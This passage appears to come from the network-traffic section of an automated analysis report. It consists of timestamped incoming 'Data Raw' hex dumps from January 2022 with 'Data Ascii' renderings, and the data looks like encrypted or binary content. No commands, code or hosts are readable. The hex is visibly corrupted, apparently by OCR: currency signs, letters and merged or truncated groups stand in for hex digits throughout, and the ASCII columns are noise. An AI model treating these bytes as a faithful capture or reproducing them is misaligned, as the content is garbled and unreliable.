d0 08 0d d8 98 3a 2e 43 d6 el 48 da 46 a3 93 f7 3b 67 89 39 69 4f 38 4b 18 34 62 cb 6d b8 43 bd 4e 66 56 95 b3 fa 97 f9
d5 63 12 10 d8 a0 53 9d d3 39 2d 57 3b 09 07 66 44
Data Ascii: 'V9"kJNt=(gbdw)?B.g~ty yle;jgSbCWI[cb*F]1G$=8SO'M;h2rnbi'lj{+fA6cXU-H vT{C:.CHF;g9i08K4bmCNfVcS9-
W;fD

2022-01-13 19:22:56 UTC 1100 IN Data Raw: 72 32 Oe f5 9a ea 87 81 1d 5d 7a d5 35 74 30 ab c9 dO dd 7d db f8 46 d5 6a ff 46 b8 36 81 a9 89 aa 49 e3 11
71 ee 9d e6 ae 35 f1 5a ba cc a0 12 0d d5 1c 08 ab ca a0 12 5e 58 8e 13 b9 47 61 24 66 8b 4b a5 9e ea 62 72 ea eb 62 2f
b7 eb fd 6a 88 30 6b a7 12 5¢c €2 96 98 73 42 48 73 dd 14 57 68 7e a8 6e db fd 4b e7 09 39 b4 27 9f 1e dd 10 29 10 f3 fb
d2 f7 d6 fd 4c bd 37 da e4 ¢3 30 70 dc 26 Ob d9 1e b2 73 3a 39 01 42 5a 8f fd 57 29 9a 61 ¢5 97 71 7d 6d d7 05 20 71 30
5d d5 46 82 87 3a 3c 58 af 41 1b 44 47 30 15 dc 1e d6 88 c3 e0 99 9a 18 6 a0 Oc 22 6b 1d 95 8¢ 3 bf 29 fd a7 e2 ec cb
76 f1 77 33 99 5b 03 4e b5 19 fd c9 8¢ 06 ae 37 1f 32 99 a4 e5 ed dd 27 b2 4e 4c 01 6f 89 f8 Oc 81 73 23 9a 22 84 ee 24
5b 78 a8 07 85 fb a5 25 5b 7a b0 21 63 b8 2c 67 a6 f4 4a
Data Ascii: r2]z5t0}FjF61q5Z~XGa$fKbrb/jok\sBHsWh~nK9')L70p&s:9BZW)aq}m qO]F:<XADGO"k)vW3[N72'NLos#"$[x%
[z!c,gd

2022-01-13 19:22:56 UTC 1104 IN Data Raw: 95 f0 59 b8 41 52 c¢7 6a cd 26 2c 98 5b 21 2f 25 0a d3 92 cf 7d 3d ab 4e 3d ea 13 4b cf 14 c4 b9 d8 e3 71 5e
29 61 0f d6 12 f8 4e 6e 42 bc be b7 bd 56 f6 55 fd 34 Ob 53 1a Oe d2 87 d3 c1 20 23 f0 1a 85 c8 99 81 df b1 f9 c6 dd a7 98
6d a9 40 51 el 02 b0 74 fa Oc d4 c4 9c d0 66 ef ce 12 59 6a 10 21 56 05 52 7d 88 23 5b Oc 2c 64 15 62 f3 a7 f4 38 21 dO
fd d7 1a 8a 83 b0 6e cb 32 b0 15 91 39 42 ac 5e 41 88 4c c9 6a 71 8b bc 78 a6 15 cc 3 6d b5 ¢l e2 51 54 e8 ac bb 3f ed
do fc 55 e8 ¢3 ¢5 b6 4e 41 05 46 6a ea c6 a4 83 7d 53 3d df 78 a5 4d 5d 7c aa 9e ¢9 07 6d 4a 88 c2 €3 52 00 00 15 91 54
9 d1 fc 2b 27 87 a5 37 44 42 9c bl ce 96 d4 87 al ee cb 02 b4 22 70 be c1 ea 60 83 8d a8 52 7d 02 el d5 cb a8 5¢ 78 19
83 ac b2 29 20 de fd 48 46 b3 1a Oc 34 1a f6 57 6d fd
Data Ascii: YAR]&,[//%}=N=Kg")aNnBVU4S #m@QtfYj!VR}#[,db8!n29B"ALjgxmQT?UNAFj}S=xM]|mJRT+'7DB"p R}\x)
HF4Wm

2022-01-13 19:22:56 UTC 1108 IN Data Raw: Ob a7 94 51 1b 08 e6 7b 14 1b 39 67 37 f9 c2 88 b3 e5 84 ee c4 46 3d dc 33 cd 3f 09 2a 88 42 1c le 26 d9 59
eb 10 93 29 8b b0 4a d7 d1 69 4f 50 78 fd 89 7a da 7e 11 bd a9 6e c3 0d c7 aa 7e 51 99 b1 cc 5b 28 31 93 5b 27 4f 8c 80
34 e2 d7 d9 ea 94 f5 30 e2 30 cd e4 34 bf b0 be 43 9b e0 5a 33 4b €0 02 7b a5 96 76 e2 a7 b7 f4 17 6e a5 d8 17 2e el 9b
1582 af e3 eb 59 d4 8b 51 09 1e 23 72 b0 31 a4 b4 d4 da 5b 55 ec ¢9 17 61 70 9a 0f 34 63 e3 44 15 8d a2 dd f1 20 89 d2
66 96 93 9b 77 b7 33 f8 6a al a6 f7 8d c2 c2 0d c9 2b d4 6f d6 c6 4f 7d 59 08 5b b6 a6 48 79 ba 4e b3 84 9d b0 7f 58 ad
36 c4 6¢ 6adc e9 cOcd ed 51 65a2 a4 72 al 78 d1 cf 73 51 ef dO 75 5a f4 a5 79 b4 82 3a a7 24 b7 a5 fe d5 fa 56 33 d7
af 3c 30 24 3a 1b 2a 77 a9 a6 74 ¢9 72 b8 46 d8 70 14 90
Data Ascii: Q{997F=3?*B&Y)JiOPxz~n~Q[(1[04004CZ3K{vn.YQ#r1[Uap4cD fw3j+o0}Y[HyNX6ljQerxsQuZy:$V3<0$
*wirFp
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:56 UTC 1111 IN Data Raw: 91 83 a9 c4 33 34 84 de 72 dc bb 02 92 04 d0 af 2b 60 a2 bc 6d c8 59 53 92 96 €5 fe 40 8e el c3 a6 a3 d7 c0
dc b3 49 18 e1 f0 b9 4a a5 71 64 b2 ab 8b a0 14 38 {0 df 12 22 af 64 90 03 e8 fc €3 08 e7 fe 99 4b 86 ab b9 7¢ 05 9c 8f b0
20 b2 27 3f 59 92 23 85 66 d6 4b 27 6f f8 0d 05 48 €9 92 7d a2 d2 f2 9a b8 f0 cf €6 b4 e6 31 8c df Oc 40 b7 b4 1f 99 ef 14
af 7e ¢7 b7 1e f4 ¢4 01 dO ¢8 c6 57 7b 5d fe 26 ¢7 8b 91 ad 2a fd b7 a3 31 da 9a 3 58 6 da 7b 86 17 7b fd ad c8 02 8f 18
ce 7e 39 18 b4 2b 84 9502 8b ed 80 c9 ad dc a7 69 85 11 29 29 34 e5 7f 46 9d a2 4f d9 d1 e2 80 09 82 09 bc df fe 8e 9
b6 79 c7 el 9a a7 d0 8e 4f de 60 88 10 19 02 2 69 fd 0 97 23 el 5f 34 95 66 ee 29 €5 d5 1a 69 fe 58 a8 4e 7d c9 03 12
2b 18 72 44 ca b3 15 84 da b2 08 03 76 9d 1d d2
Data Ascii: 34r+ mYS@1Jqd8"dK| ‘2Y#fK'oH} @ ~W{I&*1X{~9+i))4FOyO’i#_4f)iXN}+rDv

2022-01-13 19:22:56 UTC 1115 IN Data Raw: 43 98 be ad 3e 2f ed 74 0a 4c b7 45 54 09 ce 80 1c dd 8c f5 7a cf 98 b8 73 d2 56 6a 8b d5 76 ea 50 39 bc d4
17 ¢3 29 c2 6a 22 6e 8a 5a ef 6¢ e5 b7 50 ae 83 b2 2e 98 04 b3 b8 a9 9e 1b 72 18 40 58 80 27 fe 64 87 df 00 44 el 6b f1
d0 7b 5a a6 d0 b6 7c eb e0 a6 a0 da 48 1a cO 4c ae Oc c3 a5 58 96 20 12 d9 07 9d 35 e9 8a e2 f9 ad 34 56 6a d8 2a 8e
7a 57 85 72 ba 6a ba 9b f4 dc 3 af 33 82 ac 09 76 d8 22 99 e3 fd ce fb cf 7c 36 7a d9 6b 55 75 d6 8b dd 14 ef e6 c1 12 1a
24 a7 bf 32 2f 57 €9 48 57 7a fd 4d d5 Oa f7 21 41 d2 fb 9e 42 90 d2 89 3c 2a 1f fe b8 70 e7 c8 f9 c2 d4 4c 91 b2 98 9b 8d
8e ce b7 da 24 c6 df 94 be 7a 95 ab c3 fa 2e 06 5e 08 b6 63 64 35 7f 1f 8f Oc 82 00 bb 46 c6 45 55 86 f2 ca Oc al 01 31 96
35 lach 72 48 d3 71 6e 61 dd be ce 5a 7e 5a 7 d8
Data Ascii: C>/tLETzsVjvP9)j"nZIP.r@X'dDk{Z|HLX 54Vj*zWrj3v"|6zkUu$2/WHWzM!AB<*pL$z. cd5FEU15rHqnaZ~Z

2022-01-13 19:22:56 UTC 1119 IN Data Raw: 0d 00 b4 33 9c 90 df 0d d4 fb d0 b0 5f ae cc a8 1a 78 ab c1 41 a5 94 ba 7f 8f f8 45 40 4b 42 37 af 69 ab eb 3c
2f 8e 45 40 2d 82 91 5a ab aa 2f 8b 5e €9 26 67 d8 3f e4 ba c2 c4 de 89 d9 1b e6 67 85 dO ee Ob 00 de d2 40 4c c3 4f 49
04 06 a7 88 ed ec b2 49 f2 87 be cb 6a 92 10 4d da 49 43 ac 93 23 8¢ 1c 28 5e bc 17 ¢4 24 d3 b2 09 5b d5 7e 52 df 23 e9
339409 76 8d fb dO e5 b8 85 ad b2 21 ef 71 3d cd af 18 31 86 47 56 €9 3b af 20 60 fa e3 c9 06 ee 8b d4 el 05 28 bd 34
1b e0 2b 48 ¢3 37 00 01 4c c4 cc e6 dd 15 2e cb 62 89 4c 76 db 1a 66 99 86 4d 14 7a a4 00 3a 7c d8 c8 d7 15 ca e7 84
€371 2b 81 cO b9 24 6b 92 97 fa 4b ad 6d 72 el 73 23 83 74 a8 0d 2f 4e dc f1 91 40 16 45 59 7e d5 7d 2c c3 41 ac ce 3b
df 5b 1d f5 {7 aa 3a 30 fb 1e 6e fc fc f1 24 72 b6 23 99
Data Ascii: 3_XAE@KB7i</[E@-Z/"&g?g@LOIIjMIC#("$[~R#3v!q=1GV; "(4+H7L.bLviMz:|q+$SkKmrs#t/N@EY~},A;[:0n$r#

2022-01-13 19:22:56 UTC 1123 IN Data Raw: a7 66 6e 95 1b aa 73 ab fe 21 65 09 ad 1d 9d 2a ae 5d 17 d9 19 a9 db ea ff cO a2 a3 5e 52 a6 16 58 90 1f e8
67 04 a9 91 4d 32 76 3a 92 15 41 Oa ca Oa 79 5b 0f 63 66 fa 3f 1f 0a c1 36 bf a7 fc 37 31 fe 32 77 24 42 74 f4 9d f4 8e 39
54 0c 5a c0 e2 c5 23 08 24 60 04 2a 7f 6b 00 05 db 73 87 72 ¢5 24 73 3d d6 c5 e2 c6 dO 91 4b 83 5a 80 40 35 eb 48 c1 1b
fb d3 7f 67 77 42 ad 4a al 22 c2 b0 c4 07 4c ba 69 7e db 66 85 e6 €2 d9 c6 30 c3 57 cd f3 5d 32 c1 be 47 ef 5f dd 08 2b
6d 7c 2f 39 cf 09 25 e2 e0 c9 dc d7 04 c1 3 1e fO c2 dO eb 5b 18 57 9f 8¢ 42 29 15 a2 60 52 61 18 f9 a3 7e 7a d0 9d fd c9
5cac 73 e9 3ad5 95 e2 15 62 e6 87 88 ff 35 55 88 9e 82 2b 24 70 32 a2 7c 5a 5¢ 83 b3 e6 al ff 72 6e 13 b8 22 7b 52 a2
Oc 1b e0 9a 75 8f 82 28 92 6b a6 c9 07 45 45 68 d3
Data Ascii: fnsle*]*"RXgM2v:Ay[cf?6712w$BtITZ#$ *ksr$s=KZ@5HgwBJ"Li~fOW]2G_+m|/9%[WB) Ra~z\s:b5U+$p2|Z\rn"
{Ru(kEEh

2022-01-13 19:22:56 UTC 1128 IN Data Raw: 3d 0d 7a b8 d2 4c 54 0Of 28 ea 13 8a 25 0a 30 e7 2f 45 1f 80 ¢3 28 f5 cd 31 f6 a8 f1 c7 60 2f 94 66 8a 43 Ob 70
92 2e 27 9c¢ 17 d6 bc d4 ea 15 01 2c bd 89 94 70 fd 9a 3c 84 68 d1 ab 36 al 2d f6 43 ¢3 62 83 c9 35 9c a6 f3 b2 58 74 c8
79 4b 45 32 17 ca ec 21 4c 45 33 9¢ 77 2e 09 2b d2 85 62 32 85 al e5 db 2c 0d 62 87 cd 66 3b 76 c4 41 37 dc 29 34 00
d4 f4 db 6d Oa b2 a6 26 d1 Ob 35 26 c0 06 ac 9d 81 db 67 02 a8 5d 67 52 82 9c 18 5b 76 b7 {3 5b 5e be 0d 69 06 47 b6 21
56 8c f9 ae b5 27 96 f4 26 dc 96 90 6b a0 10 57 61 la be 20 7f c7 6e 86 4d e2 2d 6e 2c cc 43 17 7d ae 80 f7 d2 54 46 7e
ab 35 75 38 3f 40 c2 d5 62 6b e6 a6 b1 20 c8 46 6f 0d 92 8d 7e 22 fO a8 Oc 4e ad a2 4f 71 2b 87 9e 00 09 5a €9 54 71 94
97 e5 25 f6 2d 94 a0 1a 75 3c 88 c4 29 88 58 e7 59 69 4b
Data Ascii: =zLT(%0/E(1'/fCp.',p<h6-Cb5XtyKE2!LE3w.+b2,bf,vA7)4m&5&g]gR[V["G!V'&kWa nM-n,C}TF~5u8?@bk
Fo~"NOQ+ZTq%-u<)XYiK

2022-01-13 19:22:56 UTC 1132 IN Data Raw: a5 d4 5f 5f 3c e6 e8 fb 12 44 31 8f fc 18 fd e6 e8 66 ba d1 2c b1 db dc 80 7e 7f 00 c9 85 fc 3e 9f 96 cc f9 cb 7b
20 68 ee 27 aa 45 fe 54 a6 0a 3e f0 f9 61 58 b4 €9 7b 32 11 c8 fc fe e4 a9 82 59 60 ad bb 2e ¢8 0d c7 77 26 7d 21 f4 db
Oa ad b7 cf a4 61 cc 34 64 01 fb 8a €3 36 46 a4 b4 17 72 da 22 d8 9e 11 df 15 d6 37 f9 73 c8 05 20 ff b2 87 9a 7d b2 f1 71
cb 5b 37 da 2b d4 7e b0 ¢4 87 3a 99 12 55 3e 30 b5 0f b2 a9 38 32 00 af bb 3a 85 aa 5a 35 74 b5 a6 07 3f a7 88 c3 b2 4b
2a 64 e0 89 76 aa 2d 80 aa fa 2d ce 69 3b f3 0f b2 a7 96 c5 40 69 08 a7 93 96 13 9f 87 cf 6b 06 11 3d Of c9 73 32 44 31 fc
95 1c c6 d9 04 a5 8d e3 78 a2 07 3e 95 47 3c b4 68 f9 90 5d Ob 88 2d 1f 84 c2 68 ef 92 d8 1f fa 45 55 19 d4 43 bb 45 43
29 3a b4 4b 5a d1 50 d1 7a el 79 d5 ab 58 42
Data Ascii: __<D1f,~>{ hET>ax{2Y".w&}add6Fr"7s }q[7+~:U>082:Z5t?K*dv--i; @ik=s2D1x>G<h]-hEUCEC):KZPzyXB

2022-01-13 19:22:56 UTC 1136 IN Data Raw: d4 cf c3 50 44 cc 63 84 5f fd 29 67 d2 87 f6 14 ea 0f 69 be 66 f5 a6 6a 0a ad d6 75 7 9a 1f 16 9c ed 12 1a 9a
13 7e 60 96 51 52 ab bc 41 2e 1a 64 35 d3 ee 59 4a 8a eb a5 a8 e6 c2 f5 6a 81 4a 59 14 c6 3e 19 40 88 74 66 31 e2 5b
e2dd a9 24 79 32 dc 11 43 55 5e 5a 08 33 61 98 d7 77 40 bb b9 65 be ab d9 f7 c1 08 al 8a 08 2b fa 36 05 fO da 74 dd a3
8053 60 23 ac b3 3e b5 98 35 8f 3c 4a al cd 6f b2 36 €3 17 e6 0a a7 15 1b 86 4f fc 4d 6¢ ee db 97 9f 80 55 71 86 d7 fc
bd 6¢ ba 18 dd 74 be 35 5b 2e ba ac fe ¢3 b3 40 d0 3d da 75 5c 4f cb da 03 24 57 60 31 70 cb 07 8e ce 58 51 c6 d9 bd 23
d0 b3 eb a7 e7 48 21 97 86 09 c6 a3 f9 ac b4 7d c5 3b a8 bd 36 58 a8 c9 5d 9f f9 49 40 54 44 21 34 98 88 90 38 4a 44 07
d7 bl cb al f2 d6 8a bl 16 71 4e b4 32 52 06 27 f3 2¢ 04
Data Ascii: PDc_)gifju~"QRA.d5YJjJY>@tf1[$y2CUNZ3aw@e+6tS #>5<Jo6 OMIUQIt5[. @=u\O$W 1pXQ#H!};6X]|@TD!
48JDgN2R,

2022-01-13 19:22:56 UTC 1140 IN Data Raw: 89 b7 11 d7 99 47 80 ae ca 92 e3 60 66 56 3e c8 eb ec 30 91 95 32 ed 9c 25 33 1d b7 Ob a6 07 48 15 f3 04 b7
b1 b8 2d 8d ba 1b 96 e3 10 95 Ob al b6 e5 ed 3e 9e d4 74 fa 99 c0 30 ae d8 17 1c 8a 73 c4 38 90 e5 af a6 27 11 a0 5a 25
e8 a6 Oc 5a fe 09 e3 6b b3 b6 d6 f1 02 ff ae 1e b8 4f a0 a9 f8 ff ea 7c 2b 30 Of 29 64 0 8a 61 74 72 fc fe e5 a6 89 1a 1d 8f
c0 d3 c5 e4 7f bd c8 5 e6 cc b4 85 1d e8 a8 8e bd 40 5b fe 7a 8b 7e Oc 9f 90 98 05 16 d5 61 f4 8f 9d 03 a2 88 73 44 48
48 fb b1 23 ea 2a f9 07 68 aa d6 5e 74 84 fa 8d 77 6b 6e 63 d1 Ob 8d 41 64 9f 3¢ 3b ba dc d5 a2 c1 dO cf 3d dO 0d 7f 19
a8 c4 04 09 c9 8¢ f1 29 f1 30 ea e6 4a 15 a5 5f 2a 23 33 10 c4 fO d5 be e7 9f 3¢ 48 ad e4 14 43 cd 98 de 5f d5 b9 8d 97
9b 04 e8 37 2f e4 df 3d ff 6d de 28 7b bc cd ab 9a
Data Ascii: G fV>02%3H->t0s8'Z%Zk0O|+0)datr@[z~asDHH#*h" twkncAd<;=)0J_*#3<HC_7/=m({

2022-01-13 19:22:56 UTC 1143 IN Data Raw: c¢3 db 30 a2 ed 6b 10 70 76 3d bd 80 15 Ob d9 e6 ca d6 8d bd f4 21 af 64 35 79 65 25 54 a2 88 d4 5a a8 ab fb
cl ff f8 b3 be 63 4b 9b de 59 db €8 ab 72 7d 6d d8 b4 49 cd f5 5b 4f a9 31 09 e4 be 37 01 66 c7 d1 5e 27 67 1b 1c Oc 86
55 39 47 63 fe 3c ff 30 8a 9e 69 5e 87 b8 58 d1 c2 70 eb 87 84 {7 f7 26 21 f6 8e 90 f4 3b d6 €9 bb a5 1a b9 90 43 fd 85 95
bf 10 a3 54 4d a9 5a df b0 84 01 e8 e0 5¢c ea 70 ce 82 6b 74 36 50 4f 38 40 e5 3d 5e 4c d5 0d 11 00 5¢ el 3a d7 7b b4 9e
38 c0 a5 3d el 1le b6 9e b4 27 ae ed 5b 2b 48 90 e7 59 56 69 c9 29 fe 18 9f 91 ec dd 98 dd ca a8 62 d3 7f 88 b3 03 d2 bb
2063 12 6e 71 ec c1 1e c6 33 c1 4f 1b 93 68 21 Oc ba a5 30 47 85 29 a6 19 4d e8 2b e2 9c c9 6d d7 a6 ce 82 8e Oe 78 bf
d6 5b 60 34 b7 78 9c 97 13 91 a8 73 26 27 8f ae 80 4b
Data Ascii: Okpv=!d5ye%TZcKYr}mI[O17f*gU9Gc<0i*Xp&!;CTMZ\pkt6PO8@="L\:{8="[+HYVi)b cng30h!0G)M+mXx[ 4xs&'K

2022-01-13 19:22:56 UTC 1147 IN Data Raw: f2 49 be ¢3 d9 61 d9 6f ce 4e 21 37 dO 8f c8 aa ba de 76 Oc e7 cb 7e 96 14 97 ab 6b 64 36 50 03 c7 7c 90 46
63 70 8c 71 5a bd 6d bd 08 2c 68 ff 87 cb 6¢ ba aa db 6f 15 74 35 b7 2e d6 2e 46 ab af 37 b5 e8 7b 22 de a4 05 6a df 22
65 88 3e de 37 9b a9 db ff 90 4a 85 a2 58 88 df 74 ed 9c fb 45 93 eb e6 22 57 eb 3f 2d 35 f5 d2 88 71 22 24 dc dc 18 4a
9a 3c 8d ea f0 2a ¢5 01 cc 98 f3 6b 3c b9 9d ce 93 3c 5e 67 fc 42 el fe ad 92 10 c2 17 49 47 84 2f 91 71 ¢5 45 15 57 f9 da
€9 9c 18 48 32 €0 18 37 30 23 40 34 13 27 89 ab 0 32 57 al 3e bc 28 35 4f bb f6 82 64 14 32 15 ff 60 73 57 06 bc 78 d9
d7 22 al e5 77 bc 9c e2 6¢ ec ef 78 95 9c ¢4 8f ¢7 b5 fd 27 ¢8 49 5a 06 cd 8e d3 Ob 2e c5 54 55 ff 3d cf 36 f6 a2 4c a3 6b
e6 e3 e4 93 8c d8 33 8a 66 84 51 6b 56 b6 05 db f8
Data Ascii: laoN!7v~kd6P|FcpgzZm,hlot5..F7{"j"e>7IXtE"W?-5q"$J<*k<<"gBIG/qEWH270#@4'2W>(50d2 sWx"wlx'
1Z.TU=6Lk3fQkV
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:56 UTC 1151 IN Data Raw: a2 73 71 37 6b 87 d6 bc 2d 1c fd €3 78 2c c6 84 38 Ob bf 32 96 14 4d f1 64 8f 15 5a 93 {7 bd d9 05 9d 6e 05 f9
3109 d352 0c 49 e7 06 97 62 d0 94 59 12 75 e7 05 66 57 10 af 91 a7 b6 b2 5d 91 f9 d0 10 e9 37 6d 4e 72 19 cf 86 81 Oe
85 c9 de fb 9 c6 fc a8 ff 3f Of 5a 8¢ 89 c5 72 8c 5e 1le 4e aa d7 Oc a0 34 4d 6f 84 ce 76 c4 1f cd bb ¢8 fd 7c 94 25 c7 42 0d
c3d5 7b f5 40 f6 22 ac d1 da 8d aa a2 67 a7 65 €6 66 a5 71 c2 fc 2d 77 6d 8f bd 70 5d ee e7 b9 09 6¢ 28 ed e8 56 a8 fe
44 24 b5 e0 02 03 e6 fc 81 1e 35 75 dd fc 79 50 8d 29 8b f0 98 d5 c1 9d c1 a3 2b 88 ff 3f 4a c9 37 bd b8 0a 01 da 83 7c
el 9e 85 7f 95 d7 77 92 bf 5b a5 42 22 ff 9c fa af ee bl 74 41 f9 7b b8 €9 1a 30 30 45 2c 4d af 11 0a 65 42 a0 b7 42 70 bl
6141588891 71 3d 94 64 71 12 8 8¢ bb dc
Data Ascii: sq7k-x,82MdZn1RIbY ufW]7mNr?Zr*"N4Mov|%B{@"gefq-wmp]l(VD$5uyP)+?J7|w[B"tA{0OE,MeBBpaAXq=dq

2022-01-13 19:22:56 UTC 1155 IN Data Raw: 26 b5 fe Oe c9 26 4b 49 d2 de 80 12 ce 65 59 37 el 34 41 da 3b 33 8f 13 3e 2b 9a e4 bf 22 55 c2 28 48 5e 6 e2
26 ff d4 bl a6 a4 23 e7 83 af 03 d6 8b 5a ee 39 3 00 ec d9 18 3c 92 dc 60 3a ee 49 0b 65 2f c3 8e 42 d5 7c 3a 54 38 e0
cf 15 67 80 c8 ee 4d 38 f7 d4 a3 ef 96 04 f2 1a 97 79 21 a4 Oc 7a 41 31 6b a2 6e 51 43 f8 e7 ec 25 5a 85 ba 57 68 59 1f 2e
bb 99 f0 87 f5 7e 6a 73 7b 10 df 5f 52 8d d9 66 95 bd 56 d4 85 c9 f9 13 09 a7 90 ff d5 13 69 42 fa 78 2d c5 d7 76 97 6e 42
6f af e6 99 f9 50 76 13 59 df 10 df 3b 77 cf 22 6d 92 cc 9d d9 e6 46 55 bc ca 3f 3e 56 2a 46 74 78 93 3a c9 3f 04 fe 74 7e
5c 22 4b b2 0b 99 e5 20 4a 06 b1 1d c6 6f df 54 ab 41 4f e4 e7 65 72 bf bc fb aa ea 7f f2 4f de 25 2f Ob 16 ef 4d Oc 9e 5f
ea 76 61 d4 87 6d 74 57 73 02 Oe 11 75 d5
Data Ascii: &&KleY74A;3>+"U(H"&#Z9<":le/B|: T8gM8y!zA1knQC%ZWhY .~js{_RfViBx-vnBoPvY;w"mFU?>V*Ftx: ?t~\"K
JoTAOerO%/M_vamtWsu

2022-01-13 19:22:56 UTC 1160 IN Data Raw: 36 bf a9 43 44 1b c1 99 43 04 f5 66 1b a0 51 b6 ad 35 4d e9 f1 a8 1c 31 d9 09 6f d5 cO bb 95 93 c8 c3 7e b4 81
b1 72 3d 9f e2 fa a7 8e b0 03 6¢ 4d 73 f6 b1 72 da a4 b1 53 3f 55 b3 37 a8 €3 82 b2 39 f2 8b 59 d7 ea b5 10 35 83 al 48
73 da ff 50 ¢3 7b ac c¢2 2c 3a d7 28 cc 23 b2 7a 2e 3¢ 05 77 a6 ac 02 c2 73 6f 20 ee a8 35 ff 3f 75 b2 32 Oe 44 54 20 1a al
eb 17 0d 2c 11 99 26 a8 75 ff 9d 90 9c 43 90 fe 88 39 a6 b7 36 c7 43 68 9e b6 50 9b ba 7a 89 88 6b 4d ca 4c fd 5e 04 64
0Ob 98 1e ab 06 93 78 b8 dd 86 42 35 51 ab 7d af ec 78 99 c5 4b fe e8 2f b4 2b 66 16 00 0a 63 15 95 a6 49 9c cf 52 a5 al
e2 dc 16 5f 1e df ab f6 d9 45 12 22 07 79 d6 a0 60 47 58 7f b9 78 2b fd ed 9a 38 ef 88 b5 80 87 79 fe d4 e0 ea ac d8 77 fc
ba ed f1 c2 91 4c c4 d8 2a e7 4b €9 95 d8 34 fO
Data Ascii: 6CDCfQ5M10~r=IMsrS?U79Y5HsP{,:(#z.<wso 5?u2DT ,&uC96ChPzkML"dxB5Q}xK/+fcIR_E"y GXx+8ywL*K4

2022-01-13 19:22:56 UTC 1164 IN Data Raw: 00 76 c2 fc 7e 81 7a 7d 35 9f 91 a9 27 88 e2 e6 5d €9 5¢ 7b c8 al ¢4 69 55 dd 11 45 7b 2e 9c 60 68 c9 e8 ad
4b 65 86 €9 a8 12 ab 01 8b f8 3b d9 19 1c 42 24 05 35 05 82 6d 32 0d 89 38 3c bb 2b e5 ed b4 84 12 7a a7 95 1d 15 d5
5d ed 26 e8 4e d7 d2 42 9f 30 a2 3d 31 af 94 12 d8 8e ad 2a 69 Of f2 bl 4a 97 Oe Ob 93 ff 64 c2 07 8c 87 c0 e3 5f 81 e5 08
62 45 2e 5d b7 32 53 6a fd 8e 22 6a f5 2d c5 89 2b 30 03 8b 29 cb 6b 58 70 de 75 41 25 bf 30 ff 0a 42 3e 7e e2 17 94 e2
€211 43 38 49 8a c5 08 58 64 29 90 ac el 49 Oc be 6d 8b 9b be 8a 85 0a e7 03 64 79 9c 1f 5¢ 71 ff 3a ¢7 86 2d Oc 67 74
6e 8f 75 0c 52 10 73 b9 65 88 e8 al 14 ab 03 7b 3b 14 d5 38 ab 2e 8a ee 1b ed 8b 9e 92 c6 4b e2 00 5d 7c de 94 da d8 f4
18 3a 30 23 8e be 1a 4f 5e a4 6a eb 7e f8 45 16 4b 22 a0
Data Ascii: v~z}5\{iUE{."hKe;B$5m28<+z]&NB0=1*1Jd_bE.]2Sj"j-+0)kXpuA%O0B>~C8IXd)Imdy\q:-gtnuRse{;8.K]|:0#0"j~
EK"

2022-01-13 19:22:56 UTC 1168 IN Data Raw: ff 13 7c 8e 2a f1 df 48 3d 1b 04 ed 7a 7c 4d 9b Oa 26 dd b1 7d 6b 52 98 ee ca f4 5¢c Oc 39 03 €9 74 b2 12 70 6¢
ca 05 1d 3f 79 24 Oc 55 d4 ce c8 ad 58 23 a4 21 2a 11 al a0 bc 13 77 d6 2c 7b 23 fb 63 54 4e f6 75 17 db 93 d3 3f 5d fb
d4 84 66 b5 73 d5 3c 79 a0 fa 7d 51 5a 83 e4 2f 84 e7 1c 85 a0 58 d5 bd c5 b2 b4 42 18 4b 5e 76 4c 2d 4f f6 e1 91 79 ae
c5 6¢ 81 32 6 6f fe bc 46 2b 3e b3 6f 13 45 24 9¢ 52 68 09 09 96 1b 4a 34 b6 15 46 6a 0a 2e 94 c4 Of 25 da a9 f1 66 3f 13
17 63 70 4e 29 dO bb 73 ca c0 96 f2 03 17 36 bb f4 84 25 96 ac 87 e6 55 a4 2f 74 80 06 d3 1b dO de 2e c3 d9 41 fa Oa 1b
68 d5 fc ¢6 d7 3c a2 40 3d e4 dd 53 97 35 5¢ 18 36 c1 ad e8 bd 1b f6 e9 cd 9e 53 67 25 89 32 19 3b 24 37 a9 be d7 7c 20
d1 b7 63 db 8f 3d b5 76 50 46 91 e5 28 02 d4 81 3a
Data Ascii: [*H=z|M&}KR\9tpl?y$UX#!*w {#cTNu?]fs<y}QZ/XBK"vL-Oyl20F+>0E$RhJ4F]|.%f?cpN)s6%U/t. Ah<@=S5
\6Sg%2;$7| c=vPF(:

2022-01-13 19:22:56 UTC 1172 IN Data Raw: 8f €9 dd d0 2a 71 ab 60 e7 {2 45 9e ba 54 6e cc Oa f5 55 ca b6 3f f3 20 ad 52 2e 29 fd b1 3d 39 b1 88 d8 7d 5d
44 ec cb 81 35 b6 23 3f 99 d8 81 59 cb d8 32 5f 48 57 3c da 4c fb 4b cd 4d d0 3e 43 53 f1 ca 8c 5a f1 44 8f f9 39 b5 4f ce
37 ¢6 08 d2 e5 e3 c6 da 1a 29 fc b0 cf 2f 5b 69 3¢ d0 e5 87 54 ef f1 71 08 cd 7e 1e 03 4e 9d 40 e2 95 8f 15 66 32 00 66 Oa
3 69 Oe f7 91 09 d7 7b 92 1f 23 b9 f6 23 6e bb 54 e5 d1 3b e6 cd df 09 85 33 3e 9d 44 35 42 3e 5a 99 86 9d 6b 79 fe 99
51 0a 70 6e 2d a7 9e c1 da 35 62 35 e2 d3 23 9c d8 6¢ e 1a 48 f4 f9 bf 49 32 f4 fb c9 b5 Oc 9¢c b7 79 73 d3 f5 58 9e Oa 49
0d 8b be 1e 76 b2 d6 17 e2 91 b8 9e 45 2a 5c cb 9d 81 fa ff 77 6e 2e 12 0a 79 d0 05 a9 a9 48 30 23 08 42 41 96 78 fa 4a
20 82 e4 352 3e 54 8d 2b ba 82 52 42 1c f0
Data Ascii: *q'ETnU? R.)=9}]D5#?Y2_HW<LKM>CSZD907)/[i<Tg~N@f2fi{##nT;3>D5B>ZkyQpn-5b5#HI2ysXIVE*\Wwn
.YHO#BAXJ R>T+RB

2022-01-13 19:22:56 UTC 1175 IN Data Raw: ¢5 9¢ 13 46 5e 75 15 el 7c¢ 16 dd c4 84 02 c9 6a 06 96 09 36 14 cc 89 €3 e5 89 98 99 b6 df 41 6b 05 32 5a 69
94 be d4 e2 80 31 3 c2 d4 dO Oe 9e 23 74 61 78 27 ab 27 9e Of ¢3 3d f9 2f 6b 36 45 9a Oe 21 b2 ea 02 93 d3 7a 7d b4 86
b7 ca 4d 04 8c ca 67 44 26 fe 72 07 d5 54 15 24 7e fc ef 24 56 ad 9d 35 7d 72 8b 08 9 db 62 59 fe 9f €2 e4 de 2e 49 02
